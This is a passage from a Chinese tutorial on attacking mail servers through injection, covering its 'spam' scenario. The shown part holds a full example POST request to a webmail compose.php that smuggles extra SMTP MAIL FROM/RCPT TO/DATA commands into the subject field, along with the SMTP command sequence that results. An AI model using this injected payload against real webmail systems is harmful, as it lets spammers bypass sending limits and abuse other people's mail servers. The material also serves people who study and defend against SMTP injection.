减小字体
增大字体- ·上一篇文章：FLASH鼠绘教程:坐在凉椅上的靓丽美女
- ·下一篇文章：交换机封帧引发故障解决方案
如何利用注射技术攻击邮件服务器？
| |||||
（六）垃圾邮件
采用的技术：SMTP注射
用户认证要求：有
这里介绍的情形跟前面的转发攻击一样。因为攻击者的目标是尽量绕开各种限制，例如，一个用户允许发送的电子邮件数量的上限，所以攻击者向有弱点的参数中注入攻击者想要发送的电子邮件数量所需的命令。通过向web服务器发送一个像下面那样的POST请求，攻击者就能完成许多动作。下面举例说明攻击者如何只用一个简单命令来发送三个电子邮件：
POST http:///compose.php HTTP/1.1 ... -----------------------------134475172700422922879687252 Content-Disposition: form-data; name="subject" SPAM Example . MAIL FROM: external@domain1.com RCPT TO: external@domain2.com DATA SPAM test . MAIL FROM: external@domain1.com RCPT TO: external@domain2.com DATA SPAM test . MAIL FROM: external@domain1.com RCPT TO: external@domain2.com DATA SPAM test . -----------------------------134475172700422922879687252 ... 这将引发下列SMTP命令序列： MAIL FROM: RCPT TO: DATA Subject: SPAM Example . MAIL FROM: external@domain1.com RCPT TO: external@domain2.com DATA SPAM test . MAIL FROM: external@domain1.com RCPT TO: external@domain2.com DATA SPAM test . MAIL FROM: external@domain1.com RCPT TO: external@domain2.com DATA PAM test . ... |